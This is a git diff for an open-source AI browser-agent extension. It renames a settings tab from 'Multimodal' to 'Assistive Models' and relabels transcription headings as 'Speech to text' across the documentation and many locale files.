Skip to content

Open-source AI browser agent for Chrome and Firefox (monorepo) 🧠

Move Jev into Assistive Models and update settings guides

release-verification76cfd6d0551f
diff --git a/docs/apocalypse-mode.md b/docs/apocalypse-mode.md
index e2170b5f1..a8f17246d 100644
--- a/docs/apocalypse-mode.md
+++ b/docs/apocalypse-mode.md
@@ -14,7 +14,7 @@ opt in.
On supported Chromium browsers, WebBrain VL 2 450M is an optional local vision fallback.
Apocalypse Mode never enables or downloads it. The dedicated **Use local
-fallback** control in **Settings → Multimodal → Vision** checks WebGPU support,
+fallback** control in **Settings → Assistive Models → Vision** checks WebGPU support,
records explicit consent, and starts caching the approximately 810 MB model
from Hugging Face. The download continues in the background, but screenshot
operations report its status and never wait for it. Wikipedia archives still
diff --git a/docs/architecture.md b/docs/architecture.md
index ff0b49098..439831573 100644
--- a/docs/architecture.md
+++ b/docs/architecture.md
@@ -1009,10 +1009,12 @@ Key points:
- Offscreen proxy only forwards provider SDK traffic
- Finance adapters inject extra confirmation guidance
-### Jev auxiliary verification
+### Jev scheduled-task verification
-The static Jev card lives above the dynamic provider list and never participates
-in chat model selection. `systemone-judge.js` owns the pinned HTTP contract,
+The static Jev card lives in Settings → Assistive Models, after Vision and
+Speech to text, outside the dynamic provider list. It never participates in
+chat model selection. The tab retains its internal `multimodal` identifier for
+existing links and remembered selections. `systemone-judge.js` owns the pinned HTTP contract,
strict typed responses and a shared deadline for retries. `systemone-evidence.js`
collects bounded allowlisted observations and invalidates them on page changes.
Scheduler evaluation returns keep/downgrade/skip plus metadata, revalidates the
diff --git a/docs/privacy-and-data-flow.md b/docs/privacy-and-data-flow.md
index aaca04bee..942e21d33 100644
--- a/docs/privacy-and-data-flow.md
+++ b/docs/privacy-and-data-flow.md
@@ -101,7 +101,7 @@ requests.
### Optional Jev (TypeSafe) scheduled-task verification
-Settings → Providers → Auxiliary models contains Jev, disabled by default,
+Settings → Assistive Models → Jev (TypeSafe) contains the Jev controls, disabled by default,
with separate watch and completion switches. Turning the master switch off
preserves those preferences. Removing the key disables all uses and resets
probability thresholds to 70%. Settings import/export preserves the original
diff --git a/docs/providers-and-models.md b/docs/providers-and-models.md
index 595946baf..163240de0 100644
--- a/docs/providers-and-models.md
+++ b/docs/providers-and-models.md
@@ -2,6 +2,17 @@
---
+## Main provider and assistive models
+
+**Settings → Providers** selects the main model for conversation, planning and
+final replies. **Settings → Assistive Models** groups Vision (including screenshot
+limits and redaction), Speech to text, and Jev (TypeSafe). Configuring an assistive
+model does not replace the active provider. Jev is outside the dynamic provider
+list; its verification, fast-classification and experimental browser switches
+are independent opt-ins. See [the settings guide](https://webbrain.one/docs/settings/#multimodal)
+and [data flow](privacy-and-data-flow.md#optional-jev-typesafe-scheduled-task-verification)
+for setup and disclosure details. Existing `#multimodal` settings links still work.
+
## Provider Interface (`providers/base.js`)
Every LLM provider implements the `BaseLLMProvider` interface:
@@ -465,7 +476,7 @@ const vision = await providerManager.getVisionProvider();
// active-provider vision and the explicitly enabled, ready local fallback.
```
-On Chromium, **Settings -> Multimodal -> Vision** also offers a one-click
+On Chromium, **Settings -> Assistive Models -> Vision** also offers a one-click
in-browser fallback. It runs `webbrain-one/webbrain-vl-2-450M-onnx` through WebGPU in a
dedicated Worker with FP16 embeddings/vision encoder and a Q4 decoder. The
model is not present in the general provider catalog and never receives agent
diff --git a/docs/remote-downloads.md b/docs/remote-downloads.md
index c6e8f5da1..a7cd482e2 100644
--- a/docs/remote-downloads.md
+++ b/docs/remote-downloads.md
@@ -93,7 +93,7 @@ flowchart TD
- The picker offers only Compass Tiny v2.1 (about 1.87 GB); starting its
download caches that repository.
- The separate 810 MB local vision fallback is downloaded only after the
- user enables it in **Settings -> Multimodal -> Vision**.
+ user enables it in **Settings -> Assistive Models -> Vision**.
---
diff --git a/src/chrome/src/ui/locales/ar.js b/src/chrome/src/ui/locales/ar.js
index 48ef4d7cd..e891eeaab 100644
--- a/src/chrome/src/ui/locales/ar.js
+++ b/src/chrome/src/ui/locales/ar.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'المزوّدون النشطون',
'sp.providers.active': 'نشط',
'sp.providers.more': 'المزيد…',
- "st.system_one.heading": "نماذج مساعدة",
"st.system_one.desc_html": "تحقق إضافي من المراقبة المجدولة وإتمام المهام.",
"st.system_one.enabled.label": "تفعيل Jev",
"st.system_one.api_key.label": "مفتاح API لـ TypeSafe",
@@ -561,7 +560,7 @@ export default {
"sp.vision.on": "وضع الرؤية <strong>مُفعّل</strong> للمزوّد النشط.",
"sp.vision.off": "وضع الرؤية <strong>مُعطّل</strong> للمزوّد النشط.",
"sp.vision.error": "فشل تبديل وضع الرؤية: {msg}",
- "st.tab.multimodal": "متعدّد الوسائط",
+ "st.tab.multimodal": "النماذج المساعدة",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "موصى به. عند تفعيله، يطلب WebBrain الإذن في أول مرّة ينقر فيها أو يكتب أو يتنقّل أو يُشغّل JavaScript أو يرفع أو يُنزّل أو يُسجّل على موقع (ثم يتذكّر اختيارك). عطّله للاستخدام السريع دون مطالبات على المواقع التي تثق بها تمامًا.",
"st.perms.gate.warning": "⚠️ مطالبات الأذونات مُعطّلة. سينقر WebBrain ويكتب ويتنقّل ويُشغّل JavaScript ويرفع ويُنزّل ويُسجّل على أي موقع دون أن يسأل — بما في ذلك على الصفحات التي قد يتحكّم في محتواها مهاجم. لا يزال محتوى الصفحة يُعامَل داخليًا كغير موثوق، لكن لا شيء سيمنع تعليمة محقونة من تشغيل إجراء. لا تُبقِ هذا معطّلًا إلا إذا كنت تثق تمامًا بكل موقع تستخدم المساعد عليه.",
@@ -599,7 +598,7 @@ export default {
"st.providers.ollama_warning.link": "اقرأ إعلان تكامل Ollama",
"st.provider.field.model_custom": "مخصّص...",
"st.vision.heading": "الرؤية",
- "st.transcription.heading": "تفريغ الصوت",
+ "st.transcription.heading": "تحويل الكلام إلى نص",
"st.transcription.desc": "يُستخدَم في تفريغ صوت مُسجّل علامة التبويب. إذا ضُبط، يُرسَل الصوت إلى نقطة النهاية هذه المتوافقة مع Whisper. اتركه فارغًا للاختيار التلقائي من المزوّدات المُهيّأة (OpenAI ← Groq ← LM Studio ← llama.cpp). نقاط /v1/audio/transcriptions المتوافقة مع OpenAI فقط.",
"st.transcription.save": "حفظ",
"st.transcription.test": "اختبار الاتصال",
diff --git a/src/chrome/src/ui/locales/bn.js b/src/chrome/src/ui/locales/bn.js
index 745cc329b..1eafc9f59 100644
--- a/src/chrome/src/ui/locales/bn.js
+++ b/src/chrome/src/ui/locales/bn.js
@@ -576,7 +576,7 @@ export default {
'st.tab.providers': "প্রদানকারী",
'st.tab.skills': "দক্ষতা",
'st.tab.vision': "দৃষ্টি",
- 'st.tab.multimodal': "মাল্টিমডাল",
+ 'st.tab.multimodal': "সহায়ক মডেল",
'st.tab.memory': "স্মৃতি",
'st.tab.profile': "প্রোফাইল",
'st.tab.account': "হিসাব",
@@ -887,7 +887,7 @@ export default {
'st.vision.failed': "ব্যর্থ হয়েছে: {error}",
'st.vision.fill_required': "প্রথমে বেস URL এবং মডেল পূরণ করুন।",
- 'st.transcription.heading': "প্রতিলিপি",
+ 'st.transcription.heading': "কথা থেকে লেখা",
'st.transcription.desc': "ট্যাব রেকর্ডার ট্রান্সক্রিপশন দ্বারা ব্যবহৃত। সেট করা হলে, এই হুইস্পার-সামঞ্জস্যপূর্ণ এন্ডপয়েন্টে অডিও পাঠানো হয়। কনফিগার করা প্রদানকারীদের থেকে স্বয়ংক্রিয়ভাবে বাছাই করতে ফাঁকা ছেড়ে দিন (OpenAI → Groq → LM Studio → llama.cpp)। OpenAI- সামঞ্জস্যপূর্ণ /v1/audio/ট্রান্সক্রিপশন শুধুমাত্র।",
'st.transcription.save': "সংরক্ষণ করুন",
'st.transcription.test': "পরীক্ষা সংযোগ",
@@ -978,7 +978,6 @@ export default {
'st.captcha.balance_fail': "ব্যর্থ হয়েছে: {error}",
'st.captcha.security_html': "<strong>হেড-আপ:</strong> API কী সংরক্ষণ করা হয় <strong>প্লেইনটেক্সট</strong> ব্রাউজার স্থানীয় স্টোরেজে। CapSolver প্রতিটি সমাধানের জন্য আপনার অ্যাকাউন্ট চার্জ করে; এজেন্ট কেবল তখনই এটিকে কল করবে যখন একটি ক্যাপচা প্রকৃতপক্ষে একটি পদক্ষেপকে ব্লক করে (প্রতি এনকাউন্টারে সর্বোচ্চ একবার - এটি ব্যর্থ হলে পুনরায় চেষ্টা করবে না)। কিছু সাইটের পরিষেবার শর্তাবলী স্বয়ংক্রিয় ক্যাপচা সমাধান নিষিদ্ধ করে; আপনার রায় ব্যবহার করুন।",
- "st.system_one.heading": "সহায়ক মডেল",
"st.system_one.desc_html": "নির্ধারিত পর্যবেক্ষণ ও কাজ সম্পন্ন হওয়ার অতিরিক্ত যাচাই।",
"st.system_one.enabled.label": "Jev চালু করুন",
"st.system_one.api_key.label": "TypeSafe API কী",
diff --git a/src/chrome/src/ui/locales/de.js b/src/chrome/src/ui/locales/de.js
index 143cab774..dda2f21a6 100644
--- a/src/chrome/src/ui/locales/de.js
+++ b/src/chrome/src/ui/locales/de.js
@@ -574,7 +574,7 @@ export default {
'st.tab.providers': 'Anbieter',
'st.tab.skills': 'Skills',
'st.tab.vision': 'Vision',
- 'st.tab.multimodal': 'Multimodal',
+ 'st.tab.multimodal': "Assistenzmodelle",
'st.tab.memory': 'Memorie',
'st.tab.profile': 'Profil',
'st.tab.account': 'Konto',
@@ -827,7 +827,7 @@ export default {
'st.vision.fill_required': 'Füllen Sie zuerst die Basis-URL und das Modell aus.',
// --- Transcription settings ---
- 'st.transcription.heading': 'Transkription',
+ 'st.transcription.heading': "Sprache zu Text",
'st.transcription.desc': 'Wird von der Tab-Recorder-Transkription verwendet. Wenn gesetzt, wird Audio an diesen Whisper-kompatiblen Endpoint gesendet...',
'st.transcription.save': 'Speichern',
'st.transcription.test': 'Verbindung testen',
@@ -919,7 +919,6 @@ export default {
'st.captcha.balance_fail': 'Fehlgeschlagen: {error}',
'st.captcha.security_html': '<strong>Hinweis:</strong> Der API-Schlüssel wird als Klartext im Browser-Speicher gespeichert...',
- "st.system_one.heading": "Hilfsmodelle",
"st.system_one.desc_html": "Zusätzliche Prüfung geplanter Überwachungen und Aufgabenabschlüsse.",
"st.system_one.enabled.label": "Jev aktivieren",
"st.system_one.api_key.label": "TypeSafe-API-Schlüssel",
diff --git a/src/chrome/src/ui/locales/en.js b/src/chrome/src/ui/locales/en.js
index 36aafdded..416efc5e1 100644
--- a/src/chrome/src/ui/locales/en.js
+++ b/src/chrome/src/ui/locales/en.js
@@ -576,7 +576,7 @@ export default {
'st.tab.providers': 'Providers',
'st.tab.skills': 'Skills',
'st.tab.vision': 'Vision',
- 'st.tab.multimodal': 'Multimodal',
+ 'st.tab.multimodal': "Assistive Models",
'st.tab.memory': 'Memory',
'st.tab.profile': 'Profile',
'st.tab.account': 'Account',
@@ -888,7 +888,7 @@ export default {
'st.vision.failed': 'Failed: {error}',
'st.vision.fill_required': 'Fill in Base URL and Model first.',
- 'st.transcription.heading': 'Transcription',
+ 'st.transcription.heading': "Speech to text",
'st.transcription.desc': 'Used by Tab Recorder transcription. If set, audio is sent to this Whisper-compatible endpoint. Leave blank to auto-pick from the configured providers (OpenAI → Groq → LM Studio → llama.cpp). OpenAI-compatible /v1/audio/transcriptions only.',
'st.transcription.save': 'Save',
'st.transcription.test': 'Test Connection',
@@ -902,7 +902,7 @@ export default {
// Image budget (issue #311): tune screenshot quality + how many
// screenshots the agent may capture/send per turn, and how large each
- // image may be. All controls live on the Multimodal tab.
+ // image may be. All controls live on the Assistive Models tab.
'st.imageBudget.heading': 'Image budget',
'st.imageBudget.desc': 'Control screenshot size and how many the agent captures for vision per turn. Lower detail and dimension cuts cost and latency for smaller endpoints; higher keeps fidelity. Defaults match the previous behavior.',
'st.imageBudget.detail.label': 'Image detail',
@@ -982,7 +982,6 @@ export default {
'st.captcha.balance_fail': 'Failed: {error}',
'st.captcha.security_html': '<strong>Heads-up:</strong> the API key is stored <strong>in plaintext</strong> in browser local storage. CapSolver charges your account for every solve; the agent will only call it when a CAPTCHA actually blocks a step (max once per encounter — it won\'t retry on failure). Some sites\' terms of service prohibit automated CAPTCHA solving; use your judgement.',
- "st.system_one.heading": "Auxiliary models",
"st.system_one.desc_html": "Extra verification for scheduled watches and task completion.",
"st.system_one.enabled.label": "Enable Jev",
"st.system_one.api_key.label": "TypeSafe API key",
diff --git a/src/chrome/src/ui/locales/es.js b/src/chrome/src/ui/locales/es.js
index 897f4be49..effab9548 100644
--- a/src/chrome/src/ui/locales/es.js
+++ b/src/chrome/src/ui/locales/es.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Proveedores activos',
'sp.providers.active': 'Activo',
'sp.providers.more': 'Más…',
- "st.system_one.heading": "Modelos auxiliares",
"st.system_one.desc_html": "Verificación adicional de seguimientos y tareas programadas.",
"st.system_one.enabled.label": "Activar Jev",
"st.system_one.api_key.label": "Clave API de TypeSafe",
@@ -561,7 +560,7 @@ export default {
"sp.vision.on": "Modo de visión <strong>activado</strong> para el proveedor activo.",
"sp.vision.off": "Modo de visión <strong>desactivado</strong> para el proveedor activo.",
"sp.vision.error": "Falló el cambio del modo de visión: {msg}",
- "st.tab.multimodal": "Multimodal",
+ "st.tab.multimodal": "Modelos auxiliares",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Recomendado. Cuando está activado, WebBrain pide permiso la primera vez que hace clic, escribe, navega, ejecuta JavaScript, sube, descarga o graba en un sitio (y luego recuerda tu elección). Desactívalo para un uso rápido y sin avisos en sitios en los que confías plenamente.",
"st.perms.gate.warning": "⚠️ Los avisos de permiso están DESACTIVADOS. WebBrain hará clic, escribirá, navegará, ejecutará JavaScript, subirá, descargará y grabará en cualquier sitio SIN preguntar, incluso en páginas cuyo contenido pueda estar controlado por un atacante. El contenido de la página se sigue tratando como no fiable internamente, pero nada impedirá que una instrucción inyectada desencadene una acción. Deja esto desactivado solo si confías plenamente en todos los sitios donde usas el asistente.",
@@ -599,7 +598,7 @@ export default {
"st.providers.ollama_warning.link": "Leer el anuncio de integración con Ollama",
"st.provider.field.model_custom": "Personalizado...",
"st.vision.heading": "Visión",
- "st.transcription.heading": "Transcripción",
+ "st.transcription.heading": "Voz a texto",
"st.transcription.desc": "Usado por la transcripción del Grabador de pestañas. Si se define, el audio se envía a este endpoint compatible con Whisper. Déjalo en blanco para elegir automáticamente entre los proveedores configurados (OpenAI → Groq → LM Studio → llama.cpp). Solo /v1/audio/transcriptions compatible con OpenAI.",
"st.transcription.save": "Guardar",
"st.transcription.test": "Probar conexión",
diff --git a/src/chrome/src/ui/locales/fa.js b/src/chrome/src/ui/locales/fa.js
index a93adc604..bf7c62420 100644
--- a/src/chrome/src/ui/locales/fa.js
+++ b/src/chrome/src/ui/locales/fa.js
@@ -576,7 +576,7 @@ export default {
'st.tab.providers': "ارائه دهندگان",
'st.tab.skills': "مهارت ها",
'st.tab.vision': "چشم انداز",
- 'st.tab.multimodal': "چند وجهی",
+ 'st.tab.multimodal': "مدل‌های کمکی",
'st.tab.memory': "حافظه",
'st.tab.profile': "نمایه",
'st.tab.account': "حساب",
@@ -887,7 +887,7 @@ export default {
'st.vision.failed': "ناموفق: {error}",
'st.vision.fill_required': "ابتدا Base URL و Model را پر کنید.",
- 'st.transcription.heading': "رونویسی",
+ 'st.transcription.heading': "گفتار به متن",
'st.transcription.desc': "استفاده شده توسط رونویسی Tab Recorder. در صورت تنظیم، صدا به این نقطه پایانی سازگار با Whisper ارسال می‌شود. برای انتخاب خودکار از ارائه دهندگان پیکربندی شده (OpenAI → Groq → LM Studio → llama.cpp) را خالی بگذارید. OpenAI فقط /v1/audio/transcriptions سازگار است.",
'st.transcription.save': "ذخیره کنید",
'st.transcription.test': "تست اتصال",
@@ -978,7 +978,6 @@ export default {
'st.captcha.balance_fail': "ناموفق: {error}",
'st.captcha.security_html': "<strong>هدآپ:</strong> کلید API ذخیره می شود <strong>در متن ساده</strong> در حافظه محلی مرورگر CapSolver برای هر حل حساب شما را شارژ می کند. عامل فقط زمانی آن را فراخوانی می کند که یک CAPTCHA در واقع یک مرحله را مسدود کند (حداکثر یک بار در هر برخورد - در صورت شکست مجدداً تلاش نمی کند). شرایط خدمات برخی از سایت ها حل خودکار CAPTCHA را ممنوع می کند. از قضاوت خود استفاده کنید",
- "st.system_one.heading": "مدل‌های کمکی",
"st.system_one.desc_html": "بررسی تکمیلی پایش‌های زمان‌بندی‌شده و تکمیل کارها.",
"st.system_one.enabled.label": "فعال‌سازی Jev",
"st.system_one.api_key.label": "کلید API تایپ‌سیف",
diff --git a/src/chrome/src/ui/locales/fr.js b/src/chrome/src/ui/locales/fr.js
index 54cb4b46e..1fc9147f9 100644
--- a/src/chrome/src/ui/locales/fr.js
+++ b/src/chrome/src/ui/locales/fr.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Fournisseurs actifs',
'sp.providers.active': 'Actif',
'sp.providers.more': 'Plus…',
- "st.system_one.heading": "Modèles auxiliaires",
"st.system_one.desc_html": "Vérification supplémentaire des surveillances et tâches planifiées.",
"st.system_one.enabled.label": "Activer Jev",
"st.system_one.api_key.label": "Clé API TypeSafe",
@@ -561,7 +560,7 @@ export default {
"sp.vision.on": "Mode vision <strong>activé</strong> pour le fournisseur actif.",
"sp.vision.off": "Mode vision <strong>désactivé</strong> pour le fournisseur actif.",
"sp.vision.error": "Échec du basculement de la vision : {msg}",
- "st.tab.multimodal": "Multimodal",
+ "st.tab.multimodal": "Modèles auxiliaires",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Recommandé. Lorsque activé, WebBrain demande l'autorisation la première fois qu'il clique, saisit du texte, navigue, exécute du JavaScript, téléverse, télécharge ou enregistre sur un site (puis mémorise votre choix). Désactivez-le pour une utilisation rapide et sans invite sur les sites en lesquels vous avez pleinement confiance.",
"st.perms.gate.warning": "⚠️ Les demandes d'autorisation sont DÉSACTIVÉES. WebBrain cliquera, saisira du texte, naviguera, exécutera du JavaScript, téléversera, téléchargera et enregistrera sur n'importe quel site SANS demander — y compris sur des pages dont le contenu peut être contrôlé par un attaquant. Le contenu des pages reste traité comme non fiable en interne, mais rien n'empêchera une instruction injectée de déclencher une action. Ne laissez ceci désactivé que si vous avez pleinement confiance en chaque site sur lequel vous utilisez l'assistant.",
@@ -599,7 +598,7 @@ export default {
"st.providers.ollama_warning.link": "Lire l’annonce d’intégration d’Ollama",
"st.provider.field.model_custom": "Personnalisé...",
"st.vision.heading": "Vision",
- "st.transcription.heading": "Transcription",
+ "st.transcription.heading": "Parole en texte",
"st.transcription.desc": "Utilisé par la transcription de l'enregistreur d'onglet. Si défini, l'audio est envoyé à cet endpoint compatible Whisper. Laissez vide pour choisir automatiquement parmi les fournisseurs configurés (OpenAI → Groq → LM Studio → llama.cpp). Uniquement /v1/audio/transcriptions compatible OpenAI.",
"st.transcription.save": "Enregistrer",
"st.transcription.test": "Tester la connexion",
diff --git a/src/chrome/src/ui/locales/he.js b/src/chrome/src/ui/locales/he.js
index a9252e776..567c0c8d9 100644
--- a/src/chrome/src/ui/locales/he.js
+++ b/src/chrome/src/ui/locales/he.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'ספקים פעילים',
'sp.providers.active': 'פעיל',
'sp.providers.more': 'עוד…',
- "st.system_one.heading": "מודלים מסייעים",
"st.system_one.desc_html": "אימות נוסף למעקבים מתוזמנים ולהשלמת משימות.",
"st.system_one.enabled.label": "הפעלת Jev",
"st.system_one.api_key.label": "מפתח API של TypeSafe",
@@ -534,7 +533,7 @@ export default {
"st.tab.providers": "ספקים",
"st.tab.skills": "מיומנויות",
"st.tab.vision": "ראייה",
- "st.tab.multimodal": "מולטי-מודאלי",
+ "st.tab.multimodal": "מודלים מסייעים",
"sp.slash.workflows": "הצגה וניהול של תהליכי עבודה שמורים",
"sp.slash.teach": "הקלטת הפעולות שלך כתהליך עבודה שמור",
"sp.slash.run_workflow": "הפעלת תהליך עבודה שמור לפי מזהה",
@@ -809,7 +808,7 @@ export default {
"st.vision.connected": "מחובר! מודל: {model}",
"st.vision.failed": "נכשל: {error}",
"st.vision.fill_required": "יש למלא תחילה כתובת URL בסיסית ומודל.",
- "st.transcription.heading": "תמלול",
+ "st.transcription.heading": "דיבור לטקסט",
"st.transcription.desc": "בשימוש על ידי Tab תמלול מקליט. אם מוגדר, אודיו נשלח לזה Whisper-נקודת קצה תואמת. השאר ריק כדי לבחור אוטומטית מהספקים המוגדרים (OpenAI → Groq → LM Studio → llama.cpp). OpenAI-תוֹאֵם /v1/audio/transcriptions רַק.",
"st.transcription.save": "שמור",
"st.transcription.test": "בדיקת חיבור",
diff --git a/src/chrome/src/ui/locales/hi.js b/src/chrome/src/ui/locales/hi.js
index dcbd40a55..1add7d0a6 100644
--- a/src/chrome/src/ui/locales/hi.js
+++ b/src/chrome/src/ui/locales/hi.js
@@ -576,7 +576,7 @@ export default {
'st.tab.providers': "प्रदाता",
'st.tab.skills': "कौशल",
'st.tab.vision': "दृष्टि",
- 'st.tab.multimodal': "मल्टीमॉडल",
+ 'st.tab.multimodal': "सहायक मॉडल",
'st.tab.memory': "स्मृति",
'st.tab.profile': "प्रोफाइल",
'st.tab.account': "खाता",
@@ -887,7 +887,7 @@ export default {
'st.vision.failed': "विफल: {error}",
'st.vision.fill_required': "सबसे पहले बेस यूआरएल और मॉडल भरें।",
- 'st.transcription.heading': "प्रतिलेखन",
+ 'st.transcription.heading': "वाक् से पाठ",
'st.transcription.desc': "टैब रिकॉर्डर प्रतिलेखन द्वारा उपयोग किया जाता है। यदि सेट किया गया है, तो ऑडियो इस व्हिस्पर-संगत एंडपॉइंट पर भेजा जाता है। कॉन्फ़िगर किए गए प्रदाताओं से ऑटो-पिक करने के लिए खाली छोड़ दें (OpenAI → Groq → LM Studio → llama.cpp)। केवल OpenAI-संगत /v1/ऑडियो/ट्रांसक्रिप्शन।",
'st.transcription.save': "सहेजें",
'st.transcription.test': "परीक्षण कनेक्शन",
@@ -978,7 +978,6 @@ export default {
'st.captcha.balance_fail': "विफल: {error}",
'st.captcha.security_html': "<strong>सावधान:</strong> एपीआई कुंजी संग्रहीत है <strong>सादे पाठ में</strong> ब्राउज़र स्थानीय भंडारण में. कैपसॉल्वर प्रत्येक समाधान के लिए आपके खाते से शुल्क लेता है; एजेंट इसे केवल तभी कॉल करेगा जब कैप्चा वास्तव में एक चरण को अवरुद्ध करता है (प्रति मुठभेड़ अधिकतम एक बार - यह विफलता पर पुनः प्रयास नहीं करेगा)। कुछ साइटों की सेवा की शर्तें स्वचालित कैप्चा समाधान पर रोक लगाती हैं; अपने निर्णय का प्रयोग करें.",
- "st.system_one.heading": "सहायक मॉडल",
"st.system_one.desc_html": "निर्धारित निगरानी और कार्य पूर्ण होने की अतिरिक्त जाँच।",
"st.system_one.enabled.label": "Jev चालू करें",
"st.system_one.api_key.label": "TypeSafe API कुंजी",
diff --git a/src/chrome/src/ui/locales/id.js b/src/chrome/src/ui/locales/id.js
index a4aad176f..c9ff08e87 100644
--- a/src/chrome/src/ui/locales/id.js
+++ b/src/chrome/src/ui/locales/id.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Penyedia aktif',
'sp.providers.active': 'Aktif',
'sp.providers.more': 'Lainnya…',
- "st.system_one.heading": "Model pendukung",
"st.system_one.desc_html": "Verifikasi tambahan untuk pemantauan terjadwal dan penyelesaian tugas.",
"st.system_one.enabled.label": "Aktifkan Jev",
"st.system_one.api_key.label": "Kunci API TypeSafe",
@@ -561,7 +560,7 @@ export default {
"sp.vision.on": "Mode visi <strong>diaktifkan</strong> untuk penyedia aktif.",
"sp.vision.off": "Mode visi <strong>dinonaktifkan</strong> untuk penyedia aktif.",
"sp.vision.error": "Pengalihan visi gagal: {msg}",
- "st.tab.multimodal": "Multimodal",
+ "st.tab.multimodal": "Model Pendukung",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Disarankan. Saat aktif, WebBrain meminta izin pertama kali ia mengeklik, mengetik, menavigasi, menjalankan JavaScript, mengunggah, mengunduh, atau merekam pada sebuah situs (lalu mengingat pilihan Anda). Matikan untuk penggunaan cepat tanpa konfirmasi pada situs yang sepenuhnya Anda percayai.",
"st.perms.gate.warning": "⚠️ Konfirmasi izin NONAKTIF. WebBrain akan mengeklik, mengetik, menavigasi, menjalankan JavaScript, mengunggah, mengunduh, dan merekam pada situs apa pun TANPA bertanya — termasuk pada halaman yang kontennya mungkin dikendalikan penyerang. Konten halaman tetap diperlakukan sebagai tidak tepercaya secara internal, tetapi tidak ada yang akan mencegah instruksi yang disisipkan memicu sebuah tindakan. Biarkan nonaktif hanya jika Anda sepenuhnya memercayai setiap situs tempat Anda memakai asisten ini.",
@@ -599,7 +598,7 @@ export default {
"st.providers.ollama_warning.link": "Baca pengumuman integrasi Ollama",
"st.provider.field.model_custom": "Kustom...",
"st.vision.heading": "Visi",
- "st.transcription.heading": "Transkripsi",
+ "st.transcription.heading": "Ucapan ke teks",
"st.transcription.desc": "Digunakan oleh transkripsi Tab Recorder. Jika diatur, audio dikirim ke endpoint kompatibel-Whisper ini. Kosongkan agar dipilih otomatis dari penyedia yang dikonfigurasi (OpenAI → Groq → LM Studio → llama.cpp). Hanya /v1/audio/transcriptions yang kompatibel dengan OpenAI.",
"st.transcription.save": "Simpan",
"st.transcription.test": "Uji Koneksi",
diff --git a/src/chrome/src/ui/locales/ja.js b/src/chrome/src/ui/locales/ja.js
index 59b0cee3c..0c39f25f7 100644
--- a/src/chrome/src/ui/locales/ja.js
+++ b/src/chrome/src/ui/locales/ja.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': '有効なプロバイダー',
'sp.providers.active': '有効',
'sp.providers.more': 'その他…',
- "st.system_one.heading": "補助モデル",
"st.system_one.desc_html": "定期監視と予約タスクの完了を追加検証します。",
"st.system_one.enabled.label": "Jev を有効にする",
"st.system_one.api_key.label": "TypeSafe API キー",
@@ -561,7 +560,7 @@ export default {
"sp.vision.on": "アクティブなプロバイダーで画像認識モードを<strong>有効</strong>にしました。",
"sp.vision.off": "アクティブなプロバイダーで画像認識モードを<strong>無効</strong>にしました。",
"sp.vision.error": "画像認識の切り替えに失敗しました: {msg}",
- "st.tab.multimodal": "マルチモーダル",
+ "st.tab.multimodal": "補助モデル",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "推奨。オンにすると、WebBrain はサイトで初めてクリック・入力・移動・JavaScript の実行・アップロード・ダウンロード・録画を行うときに権限を尋ねます(その後はあなたの選択を記憶します)。完全に信頼できるサイトで、確認なしに素早く使いたい場合はオフにしてください。",
"st.perms.gate.warning": "⚠️ 権限の確認がオフです。WebBrain はあらゆるサイトで確認なしにクリック・入力・移動・JavaScript の実行・アップロード・ダウンロード・録画を行います — 内容が攻撃者に操作されている可能性のあるページでも同様です。ページの内容は内部的には引き続き信頼できないものとして扱われますが、注入された指示が操作を引き起こすのを止めるものは何もありません。アシスタントを使うすべてのサイトを完全に信頼できる場合にのみ、これをオフのままにしてください。",
@@ -599,7 +598,7 @@ export default {
"st.providers.ollama_warning.link": "Ollama 連携のお知らせを読む",
"st.provider.field.model_custom": "カスタム...",
"st.vision.heading": "画像認識",
- "st.transcription.heading": "文字起こし",
+ "st.transcription.heading": "音声からテキストへ",
"st.transcription.desc": "タブレコーダーの文字起こしで使用します。設定すると、音声はこの Whisper 互換エンドポイントに送られます。空欄にすると、設定済みのプロバイダーから自動選択します(OpenAI → Groq → LM Studio → llama.cpp)。OpenAI 互換の /v1/audio/transcriptions のみ対応。",
"st.transcription.save": "保存",
"st.transcription.test": "接続テスト",
diff --git a/src/chrome/src/ui/locales/ko.js b/src/chrome/src/ui/locales/ko.js
index 7ccdb69b3..34b1596a6 100644
--- a/src/chrome/src/ui/locales/ko.js
+++ b/src/chrome/src/ui/locales/ko.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': '활성 공급자',
'sp.providers.active': '활성',
'sp.providers.more': '더 보기…',
- "st.system_one.heading": "보조 모델",
"st.system_one.desc_html": "예약된 모니터링과 작업 완료를 추가로 검증합니다.",
"st.system_one.enabled.label": "Jev 활성화",
"st.system_one.api_key.label": "TypeSafe API 키",
@@ -561,7 +560,7 @@ export default {
"sp.vision.on": "활성 제공자에서 비전 모드가 <strong>활성화</strong>되었습니다.",
"sp.vision.off": "활성 제공자에서 비전 모드가 <strong>비활성화</strong>되었습니다.",
"sp.vision.error": "비전 전환에 실패했습니다: {msg}",
- "st.tab.multimodal": "멀티모달",
+ "st.tab.multimodal": "보조 모델",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "권장됩니다. 켜져 있으면 WebBrain이 사이트에서 처음으로 클릭, 입력, 이동, JavaScript 실행, 업로드, 다운로드 또는 녹화할 때 권한을 요청합니다(이후 선택을 기억합니다). 완전히 신뢰하는 사이트에서 확인 없이 빠르게 사용하려면 끄세요.",
"st.perms.gate.warning": "⚠️ 권한 확인이 꺼져 있습니다. WebBrain이 어떤 사이트에서든 — 콘텐츠가 공격자에 의해 조작될 수 있는 페이지를 포함해 — 묻지 않고 클릭, 입력, 이동, JavaScript 실행, 업로드, 다운로드, 녹화를 수행합니다. 페이지 콘텐츠는 내부적으로 여전히 신뢰할 수 없는 것으로 취급되지만, 주입된 지시가 동작을 유발하는 것을 막을 수는 없습니다. 어시스턴트를 사용하는 모든 사이트를 완전히 신뢰하는 경우에만 끈 채로 두세요.",
@@ -599,7 +598,7 @@ export default {
"st.providers.ollama_warning.link": "Ollama 연동 공지 읽기",
